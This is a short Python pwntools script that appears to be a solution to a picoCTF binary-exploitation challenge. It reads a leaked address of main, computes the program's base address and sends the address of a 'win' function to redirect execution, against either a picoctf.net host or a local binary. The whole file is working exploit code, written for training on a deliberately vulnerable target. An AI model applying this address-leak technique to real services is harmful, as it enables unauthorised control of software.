40 lines
848 B
Python
Executable File
40 lines
848 B
Python
Executable File
#!/usr/bin/env nix-shell
|
|
#!nix-shell -i python3 -p "python3.withPackages (ppkgs: with ppkgs; [ pwntools ])"
|
|
|
|
from pwn import *
|
|
|
|
exe = ELF("./vuln")
|
|
|
|
context.binary = exe
|
|
|
|
ADDR, PORT, *_ = "rescued-float.picoctf.net 49228".split()
|
|
|
|
def conn():
|
|
if args.REMOTE:
|
|
r = remote(ADDR, PORT)
|
|
else:
|
|
r = process([exe.path])
|
|
|
|
return r
|
|
|
|
def main():
|
|
r = conn()
|
|
|
|
print(r.recvuntil(b'Address of main: ').decode(), end='')
|
|
main_addr = int(r.recvline().strip().decode()[2:], 16)
|
|
print(hex(main_addr))
|
|
exe.address = main_addr - exe.symbols['main']
|
|
|
|
print(exe.symbols['win'])
|
|
|
|
print(r.recvuntil(b': ').decode(), end='')
|
|
r.sendline(hex(exe.symbols['win']))
|
|
|
|
print(r.recvline().decode(), end='')
|
|
print(r.recvline().decode(), end='')
|
|
print(r.recvline().decode(), end='')
|
|
r.close()
|
|
|
|
if __name__ == "__main__":
|
|
main()
|